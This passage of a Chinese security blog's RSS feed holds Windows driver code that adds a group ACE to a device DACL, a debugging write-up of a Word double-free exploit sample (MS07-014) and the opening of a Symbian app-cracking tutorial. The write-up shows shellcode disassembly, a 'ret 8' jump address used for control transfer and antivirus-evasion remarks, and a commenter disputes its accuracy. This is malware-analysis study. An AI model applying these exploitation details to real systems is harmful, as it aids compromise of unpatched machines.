            if (Ace &gt;= (PACCESS_ALLOWED_ACE)((PUCHAR)Dacl + Dacl-&gt;AclSize))
            {
                break;
            }

            ++ i;   
        }

        if (i == AceIndex)
        {
            return Ace;
        }
    }

    return NULL;
}

BOOLEAN
NmCheckDaclForGroupSid(
    IN PACL Dacl
    )
/*++

Routine Description:

Arguments:

Return Value:

--*/

{ 
    USHORT i = 0;
    USHORT gSidOffset, cSidOffset;
    BOOLEAN result = FALSE;
    PACCESS_ALLOWED_ACE pACE = NULL;
    SIZE_T retLong;

    if (g_GroupAce-&gt;Header.AceSize &gt;= (USHORT)(sizeof(ACCESS_ALLOWED_ACE)))
    {
        gSidOffset = g_GroupAce-&gt;Header.AceSize -
              (USHORT)(sizeof(ACCESS_ALLOWED_ACE));  

        if (Dacl-&gt;AceCount)
        {
            do
            {
                pACE = GetAceFromAcl(Dacl, i);

                if (pACE)
                {
                    cSidOffset = pACE-&gt;Header.AceSize -
                          (USHORT)(sizeof(ACCESS_ALLOWED_ACE));

                    if (gSidOffset == cSidOffset)
                    {
                        retLong = RtlCompareMemory(
                            &amp;(pACE-&gt;SidStart),
                            &amp;(g_GroupAce-&gt;SidStart),
                            cSidOffset
                            );

                        result = (cSidOffset == retLong);

                        if (result == TRUE)
                        {
                            return result;
                        }
                    }
                 }

                 ++ i;

            } while (i &lt; Dacl-&gt;AceCount);
        }
    }

    return result;
}

BOOLEAN
AddAceToAcl(
    IN PACL NewAcl,
    IN PACCESS_ALLOWED_ACE toAddAce
    )
/*++

Routine Description:

Arguments:

Return Value:

--*/

{ 
    USHORT i = 0;
    PACCESS_ALLOWED_ACE Ace = FirstAce(NewAcl);

    if (NewAcl &amp;&amp; toAddAce)
    {
        if (NewAcl-&gt;AceCount)
        {
            for (NOTHING; i &lt; NewAcl-&gt;AceCount; Ace = NextAce(Ace))
            {
                if (Ace &gt;= (PACCESS_ALLOWED_ACE)((PUCHAR)NewAcl + NewAcl-&gt;AclSize))
                {
                    break;
                }

                ++ i;
            }
         }

         if ((PACCESS_ALLOWED_ACE)((PUCHAR)Ace + toAddAce-&gt;Header.AceSize) &gt;
                        (PACCESS_ALLOWED_ACE)((PUCHAR)NewAcl + NewAcl-&gt;AclSize))
         {
             return FALSE;
         }
         else
         {
             NdisMoveMemory(
                 Ace,
                 toAddAce,
                 toAddAce-&gt;Header.AceSize
                 );

             NewAcl-&gt;AceCount = i + 1;
         }
    }

    return TRUE;
}

NDIS_STATUS
NmModifyDacl(
    IN PACL oldDacl,
    OUT PACL* NewDacl
    )
/*++

Routine Description:

Arguments:

Return Value:

--*/

{
    NDIS_STATUS result = NDIS_STATUS_SUCCESS;
    USHORT tSize;
    PACL tmpDacl = NULL;
    USHORT i = 0;
    PACCESS_DENIED_ACE pdACE = NULL;
    PACCESS_ALLOWED_ACE paACE = NULL;

    if (oldDacl)
    {
        tSize = oldDacl-&gt;AclSize + g_GroupAce-&gt;Header.AceSize;

        tmpDacl = (PACL)ExAllocatePoolWithTag(
            NonPagedPool,
            tSize,
            'dnTF'
            );
        if (tmpDacl)
        {
            tmpDacl-&gt;AclRevision = oldDacl-&gt;AclRevision;   
            tmpDacl-&gt;Sbz1 = oldDacl-&gt;Sbz1;
            tmpDacl-&gt;AceCount = 0;
            tmpDacl-&gt;AclSize = tSize;   
            tmpDacl-&gt;Sbz2 = oldDacl-&gt;Sbz2;

            if (oldDacl-&gt;AceCount)
            {
                do
                {
                    pdACE = (PACCESS_DENIED_ACE)GetAceFromAcl(
                        oldDacl,
                        i
                        );
                    if (pdACE-&gt;Header.AceType != ACCESS_DENIED_ACE_TYPE)
                    {
                        break;
                    }

                    AddAceToAcl(tmpDacl, (PACCESS_ALLOWED_ACE)pdACE);

                    ++ i;

                } while (i &lt; oldDacl-&gt;AceCount);    
             }

             AddAceToAcl(tmpDacl, g_GroupAce);

             while(i &lt; oldDacl-&gt;AceCount)
             {
                 paACE = GetAceFromAcl(oldDacl, i);

                 AddAceToAcl(tmpDacl, (PACCESS_ALLOWED_ACE)paACE);

                 ++ i;
             }

             *NewDacl= tmpDacl;
        }
    }   

    return result;
}

NDIS_STATUS
NmAddGroupAccessAce(
    IN PDEVICE_OBJECT DeviceObject
    )
/*++

Routine Description:

Arguments:

Return Value:

--*/

{
    NDIS_STATUS Status = NDIS_STATUS_SUCCESS;
    PSECURITY_DESCRIPTOR SecurityDescriptor = NULL;
    PSECURITY_DESCRIPTOR NewSecurityDescriptor = NULL;

    ULONG csize = sizeof(SECURITY_DESCRIPTOR);
    PACL NewDdcl = NULL;
    HANDLE Handle = NULL;
    BOOLEAN DaclPresent, DaclDefaulted;
    PACL Dacl = NULL;

    if (DeviceObject &amp;&amp; g_GroupAce)
    {
        Status = ObOpenObjectByPointer(
            DeviceObject,
            OBJ_KERNEL_HANDLE,
            NULL,
            WRITE_DAC,
            0,
            0,
            &amp;Handle
            );
        if (Status == NDIS_STATUS_SUCCESS)
        {
            SecurityDescriptor = DeviceObject-&gt;SecurityDescriptor;

            Status = RtlGetDaclSecurityDescriptor(
                SecurityDescriptor,
                &amp;DaclPresent,
                &amp;Dacl,
                &amp;DaclDefaulted
                );
            if (Status == NDIS_STATUS_SUCCESS)
            {
                ASSERT(DaclPresent);
                ASSERT(Dacl != NULL);

                if (NmCheckDaclForGroupSid(Dacl) != TRUE)
                {
                    csize = RtlLengthSecurityDescriptor(SecurityDescriptor);

                    NewSecurityDescriptor = ExAllocatePoolWithTag(
                        NonPagedPool,
                        g_GroupAce-&gt;Header.AceSize + csize,
                        'dnTF'
                        );
                    if (NewSecurityDescriptor)
                    {
                        RtlCreateSecurityDescriptor(
                            NewSecurityDescriptor,
                            SECURITY_DESCRIPTOR_REVISION
                            );

                        Status = NmModifyDacl(
                            Dacl,
                            &amp;NewDdcl
                            );
                        if (Status == NDIS_STATUS_SUCCESS)
                        {
                            Status = RtlSetDaclSecurityDescriptor(
                                NewSecurityDescriptor,
                                TRUE,
                                NewDdcl,
                                FALSE
                                );
                            if (Status == NDIS_STATUS_SUCCESS)
                            {
                                Status = ZwSetSecurityObject(
                                    Handle,
                                    DACL_SECURITY_INFORMATION,
                                    NewSecurityDescriptor
                                    );
                            }
                        }
                    }
                }
            }
        }

        if (Handle)
        {
            ZwClose(Handle);
        }

        if (NewSecurityDescriptor)
        {
            ExFreePoolWithTag(NewSecurityDescriptor, 'dnTF');
        }

        if (NewDdcl)
        {
            ExFreePoolWithTag(NewDdcl, 'dnTF');
        }
    }

    return Status;
}</pre>
<p>===============</p>
<p>在RegisterDevice之后加上即可，对于g_GroupAce，这个查询注册表或者自己获取，这些都是因时而异。<br />
我这里是需要从注册表读过来的，然后加上去的：</p>
<p>===============</p>
<pre>PACCESS_ALLOWED_ACE g_GroupAce = NULL;

//...省略...

       InitializeObjectAttributes(
           &amp;ObjectAttributes,
           RegistryPath,
           OBJ_CASE_INSENSITIVE,
           NULL,
           NULL
           );

       Status = ZwOpenKey(
           &amp;hHandle,
           KEY_READ,
           &amp;ObjectAttributes
           );
       if (Status == STATUS_SUCCESS)
       {
           RtlInitUnicodeString(&amp;DestinationString, L"GroupSid");

           Status = ZwQueryValueKey(
               hHandle,
               &amp;DestinationString,
               KeyValueFullInformation,
               0,
               0,
               &amp;ResultLength
               );
           if (Status == STATUS_BUFFER_OVERFLOW ||
               Status == STATUS_BUFFER_TOO_SMALL)
           {
               pBuffer = (PKEY_VALUE_FULL_INFORMATION)ExAllocatePoolWithTag(
                   NonPagedPool,
                   ResultLength,
                   'dnTF'
                   );  
               if (pBuffer)
               {
                   Status = ZwQueryValueKey(
                       hHandle,
                       &amp;DestinationString,
                       KeyValueFullInformation,
                       pBuffer,
                       ResultLength,
                       &amp;ResultLength
                       );
                   if (Status == STATUS_SUCCESS)
                   {
                         g_GroupAce = (PACCESS_ALLOWED_ACE)ExAllocatePoolWithTag(
                              NonPagedPool,
                              pBuffer-&gt;DataLength + sizeof(ACCESS_ALLOWED_ACE),
                              'gamn'
                              );
                         if (g_GroupAce)
                         {
                              NdisZeroMemory(
                                  g_GroupAce,
                                  pBuffer-&gt;DataLength + sizeof(ACCESS_ALLOWED_ACE)
                                  );

                              g_GroupAce-&gt;Header.AceType = ACCESS_ALLOWED_ACE_TYPE;
                              g_GroupAce-&gt;Header.AceFlags = 0;
                              g_GroupAce-&gt;Header.AceSize =
                                   (USHORT)(pBuffer-&gt;DataLength +
                                   sizeof(ACCESS_ALLOWED_ACE));

                              g_GroupAce-&gt;Mask = SYNCHRONIZE |
                                   READ_CONTROL | FILE_READ_ATTRIBUTES |
                                   FILE_READ_DATA | FILE_READ_EA;

                              NdisMoveMemory(
                                  (PVOID)&amp;(g_GroupAce-&gt;SidStart),
                                  (PVOID)((PUCHAR)pBuffer + pBuffer-&gt;DataOffset),
                                  pBuffer-&gt;DataLength
                                  );

//...省略...</pre>
<p>===============</p>
<p>PS: 排版很麻烦，我改了半天。下篇把这个工程的真正精华部分放上来大家探讨。</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/10" rel="bookmark" title="Permanent Link: [国庆礼]Exploiting Windows Device Drivers译文版">[国庆礼]Exploiting Windows Device Drivers译文版</a></li><li><a href="http://www.softrce.net/archives/9" rel="bookmark" title="Permanent Link: 文章预告：Exploiting Windows Device Drivers">文章预告：Exploiting Windows Device Drivers</a></li><li><a href="http://www.softrce.net/archives/14" rel="bookmark" title="Permanent Link: Vista Bootmgr/Winload使用的大部分选项ID">Vista Bootmgr/Winload使用的大部分选项ID</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/217/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MS07-014调试手记</title>
		<link>http://www.softrce.net/archives/213</link>
		<comments>http://www.softrce.net/archives/213#comments</comments>
		<pubDate>Tue, 12 Jan 2010 11:56:42 +0000</pubDate>
		<dc:creator>Cyg07</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=213</guid>
		<description><![CDATA[前面: 该文是去年某月份写的，今日需要写 shellcode 再重看此文(想想好像没在大萝卜的地盘发帖过)，所以&#8230; 望路过的朋友指点下关于double free的问题，thx! 分析过程: 1、异常后的栈回溯 ///////... ]]></description>
			<content:encoded><![CDATA[<p>前面:</p>
<p>该文是去年某月份写的，今日需要写 shellcode 再重看此文(想想好像没在大萝卜的地盘发帖过)，所以&#8230;<br />
望路过的朋友指点下关于double free的问题，thx!</p>
<p>分析过程:</p>
<p>1、异常后的栈回溯<span id="more-213"></span><br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; ub<br />
&lt;Unloaded_ta.dll&gt;+0xba898a:<br />
00ba898b 0000            add     byte ptr [eax],al<br />
00ba898d 13d6            adc     edx,esi<br />
00ba898f 3083c7415764    xor     byte ptr [ebx+645741C7h],al<br />
00ba8995 ff30            push    dword ptr [eax]<br />
00ba8997 648920          mov     dword ptr fs:[eax],esp                 // 添加shellcode 的异常处理<br />
00ba899a ba3243313a      mov     edx,offset &lt;Unloaded_ta.dll&gt;+0x3a314331 (3a314332)<br />
00ba899f 81c214131211    add     edx,offset &lt;Unloaded_ta.dll&gt;+0&#215;11121313 (11121314)<br />
00ba89a5 bf00001400      mov     edi,offset &lt;Unloaded_ta.dll&gt;+0x13ffff (00140000)<br />
0:000&gt; u<br />
&lt;Unloaded_ta.dll&gt;+0xba89a9:<br />
00ba89aa 3b17            cmp     edx,dword ptr [edi]                    // 异常位置<br />
00ba89ac 7403            je      &lt;Unloaded_ta.dll&gt;+0xba89b0 (00ba89b1)<br />
00ba89ae 47              inc     edi<br />
00ba89af ebf9            jmp     &lt;Unloaded_ta.dll&gt;+0xba89a9 (00ba89aa)<br />
00ba89b1 83c704          add     edi,4<br />
00ba89b4 67648f060000    pop     dword ptr fs:[0000h]<br />
00ba89ba 57              push    edi<br />
00ba89bb c3              ret<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>异常时的状态<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=00000000 ebx=00142b00 ecx=00000000 edx=4b435646 esi=00000000 edi=00feeffd<br />
eip=00ba89aa esp=0011aca4 ebp=6c030a01 iopl=0         nv up ei pl nz na po cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010203<br />
&lt;Unloaded_ta.dll&gt;+0xba89a9:<br />
00ba89aa 3b17            cmp     edx,dword ptr [edi]  ds:0023:00feeffd=00000000</p>
<p>注意到寄存器已经被覆盖<br />
edx=4b435646<br />
ebp=6c030a01</p>
<p>我们再回头看看SEH的回调处理是如何的?</p>
<p>00ba8995 ff30            push    dword ptr [eax]<br />
00ba8997 648920          mov     dword ptr fs:[eax],esp                 // 添加shellcode 的异常处理</p>
<p>0:000&gt; dd poi(fs:0) l2<br />
0011aca4  0012f904 00ba896d</p>
<p>这里已经是shellcode了,异常是shellcode搞得鬼。<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>2、栈回溯问题<br />
显然我们这时候用k命令进行回溯已经是错误的了<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; k<br />
ChildEBP RetAddr<br />
WARNING: Frame IP not in any known module. Following frames may be wrong.<br />
0011ace8 30d60800 &lt;Unloaded_ta.dll&gt;+0xba89a9<br />
0011acec 00000000 mso!Ordinal2171+0x2ab<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
手工回溯栈<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; !teb<br />
TEB at 7ffdd000<br />
ExceptionList:        0011aca4<br />
StackBase:            00130000              // 基地址<br />
StackLimit:           0011a000              // 边界<br />
SubSystemTib:         00000000<br />
FiberData:            00001e00<br />
ArbitraryUserPointer: 00000000<br />
Self:                 7ffdd000<br />
EnvironmentPointer:   00000000<br />
ClientId:             000006a4 . 00000fe0<br />
RpcHandle:            00000000<br />
Tls Storage:          00142ad0<br />
PEB Address:          7ffde000<br />
LastErrorValue:       0<br />
LastStatusValue:      c0000034<br />
Count Owned Locks:    0<br />
HardErrorMode:        0<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>栈是从基地址往低地址生长的,我从0011a000这个边界往回找<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; dds 0011a000 0011a000+1000<br />
0011a000  00000000<br />
0011a004  00000000<br />
0011a008  00000000<br />
0011a00c  00000000<br />
0011a010  00000000<br />
0011a014  00000000<br />
0011a018  00000000<br />
0011a01c  00000000<br />
&#8230;                                                             // 往下是异常处理<br />
0011a87c  7c930833 ntdll!RtlpImageNtHeader+0&#215;56<br />
0011a880  00ba896d &lt;Unloaded_ta.dll&gt;+0xba896c<br />
0011a884  7c920000 ntdll!RtlDosPathSeperatorsString &lt;PERF&gt; (ntdll+0&#215;0)<br />
0011a888  0011ac00 &lt;Unloaded_ta.dll&gt;+0x11abff<br />
0011a88c  7c9200e0 ntdll!RtlDosPathSeperatorsString &lt;PERF&gt; (ntdll+0xe0)<br />
0011a890  0011a880 &lt;Unloaded_ta.dll&gt;+0x11a87f<br />
&#8230;<br />
0011a9a8  7c92eafa ntdll!KiUserExceptionDispatcher+0xe<br />
0011a9ac  7c92d625 ntdll!NtContinue+0xc<br />
0011a9b0  7c92eb08 ntdll!KiUserExceptionDispatcher+0x1c<br />
0011a9b4  0011a9d8 &lt;Unloaded_ta.dll&gt;+0x11a9d7<br />
0011a9b8  00000000<br />
0011a9bc  c0000005<br />
&#8230;<br />
0011ace0  00000000<br />
0011ace4  ebc03300<br />
0011ace8  0000003a &lt;Unloaded_ta.dll&gt;+0&#215;39<br />
0011acec  30d60800 mso!Ordinal2171+0x2ab            // 这里就 kb 命令能回溯到的地方,出问题的就在下一个吧<br />
0011acf0  00000000<br />
0011acf4  00000000<br />
0011acf8  00000000<br />
0011acfc  00000000<br />
&#8230;<br />
0011afac  00000000<br />
0011afb0  00000000<br />
0011afb4  0011aff0 &lt;Unloaded_ta.dll&gt;+0x11afef<br />
0011afb8  300316e8 winword+0x316e8                  // 这个就是出问题的函数了<br />
0011afbc  0011aff0 &lt;Unloaded_ta.dll&gt;+0x11afef<br />
0011afc0  30cb099d mso!MsoReleaseMemCore+0x1e       // 注意到这个 内存 释放函数<br />
0011afc4  00000003 &lt;Unloaded_ta.dll&gt;+0&#215;2<br />
0011afc8  00000001 &lt;Unloaded_ta.dll&gt;<br />
0011afcc  00000000<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>3、问题函数</p>
<p>我们回头看看 winword+0x316e8 这个函数<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; uf winword+0x316e8<br />
winword+0x316e8:<br />
300316e8 85db            test    ebx,ebx<br />
300316ea 8bf0            mov     esi,eax<br />
300316ec 5f              pop     edi<br />
300316ed 0f84d3eb0100    je      winword+0x502c6 (300502c6)</p>
<p>winword+0x316f3:<br />
300316f3 ff75fc          push    dword ptr [ebp-4]<br />
300316f6 ff157c20a730    call    dword ptr [winword!wdGetApplicationObject+0x2817a0 (30a7207c)] // 跟的时候这里就是 mso!MsoReleaseMemCore</p>
<p>winword+0x316fc:<br />
300316fc 5b              pop     ebx<br />
300316fd 8bc6            mov     eax,esi<br />
300316ff 5e              pop     esi<br />
30031700 c9              leave<br />
30031701 c21400          ret     14h</p>
<p>winword+0x502c6:<br />
300502c6 837dfc00        cmp     dword ptr [ebp-4],0<br />
300502ca 0f842c14feff    je      winword+0x316fc (300316fc)</p>
<p>winword+0x502d0:<br />
300502d0 e9f32e3200      jmp     winword!wdCommandDispatch+0x9350f (303731c8)</p>
<p>winword!wdCommandDispatch+0x9350f:<br />
303731c8 ff75fc          push    dword ptr [ebp-4]<br />
303731cb ff150c20a730    call    dword ptr [winword!wdGetApplicationObject+0x281730 (30a7200c)]<br />
303731d1 e926e5cbff      jmp     winword+0x316fc (300316fc)<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
既然有释放也必然有 alloc<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; x mso!Mso*MemCore<br />
30cafa50 mso!MsoFAllocMemCore (&lt;no parameter info&gt;)<br />
30cafccb mso!MsoFMarkMemCore (&lt;no parameter info&gt;)<br />
30cb097f mso!MsoReleaseMemCore (&lt;no parameter info&gt;)<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>显然这是个堆溢出,用IDA看了下<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
int __stdcall sub_30031687(void *a1, int a2, int a3, int a4, int a5)<br />
{<br />
int v5; // ebx@2<br />
int v6; // esi@4<br />
int v8; // eax@2<br />
int v9; // [sp+10h] [bp-4h]@2<br />
int v10; // [sp+4h] [bp-10h]@4<br />
int v11; // [sp+Ch] [bp-8h]@4<br />
unsigned int v12; // [sp+8h] [bp-Ch]@4</p>
<p>if ( (unsigned int)a3 &lt;= 0xA8C )<br />
{<br />
v6 = sub_30050378(a1, a2, a3, a4, a5);<br />
}<br />
else<br />
{<br />
v8 = MsoFMarkMemCore(&amp;v9, 0x3FA3u);<br />
v5 = v8;<br />
if ( !v8 )<br />
v9 = MsoPvAllocCore(0x3FA3u, 2);<br />
if ( v9 )<br />
{<br />
v10 = 0;<br />
v11 = v9;<br />
v12 = 0x3FA3u;<br />
v6 = sub_30031704(a1, a2, a3, a4, a5, (int)&amp;v10);<br />
if ( v5 )<br />
{<br />
MsoReleaseMemCore(v9);<br />
}<br />
else<br />
{<br />
if ( v9 )<br />
MsoFreePv(v9);<br />
}<br />
}<br />
else<br />
{<br />
v6 = sub_308FE25F(a1, a2, a3, a4, a5);<br />
}<br />
}<br />
return v6;<br />
}<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>在最后EBP被覆盖前,有Double Free的现象<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; kb<br />
ChildEBP RetAddr  Args to Child<br />
WARNING: Stack unwind information not available. Following frames may be wrong.<br />
0012bc84 30038e74 00b80418 08b3b9f4 00000000 mso!MsoReleaseMemCore<br />
0012c0cc 3006df62 08b3b9f4 00000117 00000000 winword+0x38e74<br />
0012c100 3006deb0 00000117 000c0838 0012c128 winword+0x6df62<br />
0012c138 3006db3f 00b80398 00b80398 0cea08ca winword+0x6deb0<br />
0012c170 30071151 00000001 00b80398 0cea08ca winword+0x6db3f<br />
0012c228 30073769 00b80398 00000000 00000000 winword+0&#215;71151<br />
0012c2b8 3007250e 00b80398 0cea07e8 08b388dc winword+0&#215;73769<br />
0012c2e0 3006a9a0 00b80398 08b388dc 00000008 winword+0x7250e<br />
0012c520 30067b12 08b3b060 08b388dc 00000800 winword+0x6a9a0<br />
0012c640 7c80ac78 30c90000 00000000 30c90000 winword+0x67b12<br />
0012c6bc 7c80ac66 0012c6e4 7c80ac78 30c90000 kernel32!GetProcAddress+0x5b<br />
0012c6e4 0012c6d4 30c90000 0012f904 315ddcb7 kernel32!GetProcAddress+0&#215;43<br />
0012c6fc 31444fc6 31444ff3 00b80174 314450a8 &lt;Unloaded_ta.dll&gt;+0x12c6d3<br />
0012c700 31444ff3 00b80174 314450a8 00b95de8 mso!Ordinal3198+0x5f<br />
0012c708 314450a8 00b95de8 000000d8 300d4250 mso!Ordinal2669+0x1f<br />
0012c724 305d3ca5 00000001 000000d8 000000c8 mso!Ordinal2402+0&#215;13<br />
0012c73c 305d410b 00000000 00000003 00b80174 winword!wdCommandDispatch+0x2f3fec<br />
0012c764 305db543 305db54a 0012c798 00000000 winword!wdCommandDispatch+0x2f4452<br />
0012c7d8 3003ce45 3003ce53 08b3809c 08b37c7c winword!wdCommandDispatch+0x2fb88a<br />
00000000 00000000 00000000 00000000 00000000 winword+0x3ce45<br />
0:000&gt; g<br />
Breakpoint 1 hit<br />
eax=00000001 ebx=08b3b9f4 ecx=0012bc58 edx=7c92eb94 esi=00000000 edi=0012beb4<br />
eip=30cb097f esp=0012bc80 ebp=0012bd98 iopl=0         nv up ei pl nz na pe nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206<br />
mso!MsoReleaseMemCore:<br />
30cb097f 57              push    edi<br />
0:000&gt; kb<br />
ChildEBP RetAddr  Args to Child<br />
WARNING: Stack unwind information not available. Following frames may be wrong.<br />
0012bd98 00000000 0012f904 00000002 0e19ab00 mso!MsoReleaseMemCore<br />
0:000&gt; g<br />
Breakpoint 1 hit<br />
eax=00000001 ebx=00000000 ecx=08b3bad4 edx=7c92eb94 esi=00000001 edi=08b3bad4<br />
eip=30cb097f esp=0012bc6c ebp=0012bc80 iopl=0         nv up ei pl nz na pe nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206<br />
mso!MsoReleaseMemCore:<br />
30cb097f 57              push    edi<br />
0:000&gt; kb<br />
ChildEBP RetAddr  Args to Child<br />
WARNING: Stack unwind information not available. Following frames may be wrong.<br />
0012bc80 30038e74 00b80418 08b3bad4 00000000 mso!MsoReleaseMemCore<br />
0012c0c8 3006df62 08b3bad4 00000116 00000000 winword+0x38e74<br />
0012c0fc 3006e74c 00000116 000c0838 0012c128 winword+0x6df62<br />
0012c138 3006e701 00b80398 00b80398 0cea08ca winword+0x6e74c<br />
0012c170 30071151 00000001 00b80398 0cea08ca winword+0x6e701<br />
0012c228 30073769 00b80398 00000000 00000000 winword+0&#215;71151<br />
0012c2b8 3007250e 00b80398 0cea07e8 08b388dc winword+0&#215;73769<br />
0012c2e0 3006a9a0 00b80398 08b388dc 00000008 winword+0x7250e<br />
0012c520 30067b12 08b3b060 08b388dc 00000800 winword+0x6a9a0<br />
0012c640 7c80ac78 30c90000 00000000 30c90000 winword+0x67b12<br />
0012c6bc 7c80ac66 0012c6e4 7c80ac78 30c90000 kernel32!GetProcAddress+0x5b<br />
0012c6e4 0012c6d4 30c90000 0012f904 315ddcb7 kernel32!GetProcAddress+0&#215;43<br />
0012c6fc 31444fc6 31444ff3 00b80174 314450a8 &lt;Unloaded_ta.dll&gt;+0x12c6d3<br />
0012c700 31444ff3 00b80174 314450a8 00b95de8 mso!Ordinal3198+0x5f<br />
0012c708 314450a8 00b95de8 000000d8 300d4250 mso!Ordinal2669+0x1f<br />
0012c724 305d3ca5 00000001 000000d8 000000c8 mso!Ordinal2402+0&#215;13<br />
0012c73c 305d410b 00000000 00000003 00b80174 winword!wdCommandDispatch+0x2f3fec<br />
0012c764 305db543 305db54a 0012c798 00000000 winword!wdCommandDispatch+0x2f4452<br />
0012c7d8 3003ce45 3003ce53 08b3809c 08b37c7c winword!wdCommandDispatch+0x2fb88a<br />
00000000 00000000 00000000 00000000 00000000 winword+0x3ce45<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>覆盖后的<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; r ebp<br />
ebp=6c030a01</p>
<p>注意doc便宜 BE8 位置上的内容<br />
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F</p>
<p>00000BE0   00 00 00 FF 34 D6 06 00  01 0A 03 6C C4 33 00 30   &#8230;4?&#8230;.l?.0<br />
00000BF0   00 00 06 00 00 16 24 01  49 66 01 00 00 00 00 05   &#8230;&#8230;$.If&#8230;&#8230;<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>往下走的时候<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; u<br />
winword+0x33c4:<br />
300033c4 55              push    ebp<br />
300033c5 8bec            mov     ebp,esp<br />
300033c7 833d74d2a83002  cmp     dword ptr [winword!wdGetApplicationObject+0x29c998 (30a8d274)],2<br />
300033ce 0f855c903600    jne     winword!wdCommandDispatch+0x8c777 (3036c430)<br />
300033d4 ff15bc130030    call    dword ptr [winword+0x13bc (300013bc)]<br />
300033da 85c0            test    eax,eax<br />
300033dc 7410            je      winword+0x33ee (300033ee)<br />
300033de ff750c          push    dword ptr [ebp+0Ch]<br />
0:000&gt; u<br />
winword+0x33e1:<br />
300033e1 ff7508          push    dword ptr [ebp+8]<br />
300033e4 50              push    eax<br />
300033e5 e80d000000      call    winword+0x33f7 (300033f7)<br />
300033ea 5d              pop     ebp<br />
300033eb c20800          ret     8                          // 需要用到 ret 8 来协调<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
接下来就是要的shellcode</p>
<p>总结如下：<br />
利用 WORD 存在的 Double Free 实现覆盖, 然后通过300033eb地址上的通用调转来实现最终shellcode的执行。<br />
shellocode 利用 异常机制来反杀毒软件对shellcode的检测。(其实我对 double free 是不明白的,望大牛路过指教下!)</p>
<p>AVP特征:<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0xb7e &#8211; 0xbf7</p>
<p>所在格式:</p>
<p>Border Code (BRC) -&gt; sprmTTableBorders</p>
<p>sprmTTableBorders  0xd613  change tap.rgbrcTable  BRC[6] (see below)  variable length<br />
sprmTTableBorders (opcode 0xD613) sets the tap.rgbrcTable. The sprm is interpreted<br />
by moving the 48 bytes of the sprmBRCs) to tap.rgbrcTable.</p>
<p>avp不是这个格式来定位特征,应该是死偏移来解决的。<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>支持大萝卜的 softrce~~</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/213#comment-99">2010年01月30日</a>, gz1x writes: 分析的不错，再待佳作 ：）</li><li><a href="http://www.softrce.net/archives/213#comment-112">2010年02月8日</a>, <a href='http://www.7qiao.net.cn/' rel='external nofollow' class='url'>狐狸</a> writes: 呵呵，路过，顶一下。</li><li><a href="http://www.softrce.net/archives/213#comment-158">2010年04月15日</a>, wordexp writes: 写了这么多可惜分析错了.</li><li><a href="http://www.softrce.net/archives/213#comment-159">2010年04月15日</a>, Cyg07 writes: 刚好在写邮件，wordexp牛有什么错误请指出,不需感叹。 :)</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/213/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debugger_Tutorial</title>
		<link>http://www.softrce.net/archives/210</link>
		<comments>http://www.softrce.net/archives/210#comments</comments>
		<pubDate>Sun, 27 Dec 2009 14:09:04 +0000</pubDate>
		<dc:creator>caterqiu</dc:creator>
				<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=210</guid>
		<description><![CDATA[高手请无视



IDA 5.5 放出来了，强大的远程调试功能使得手机软件的调试变得更加轻松

为启明星辰的向日姑娘做了个动画

动画中用了自己很烂的英文

希望那位塞浦路斯的朋友能看懂... ]]></description>
			<content:encoded><![CDATA[<p style="text-align: center">高手请无视</p>
<p> </p>
<p>IDA 5.5 放出来了，强大的远程调试功能使得手机软件的调试变得更加轻松</p>
<p>为启明星辰的向日姑娘做了个动画</p>
<p>动画中用了自己很烂的英文</p>
<p>希望那位塞浦路斯的朋友能看懂。</p>
<p>===============================================================================================================================</p>
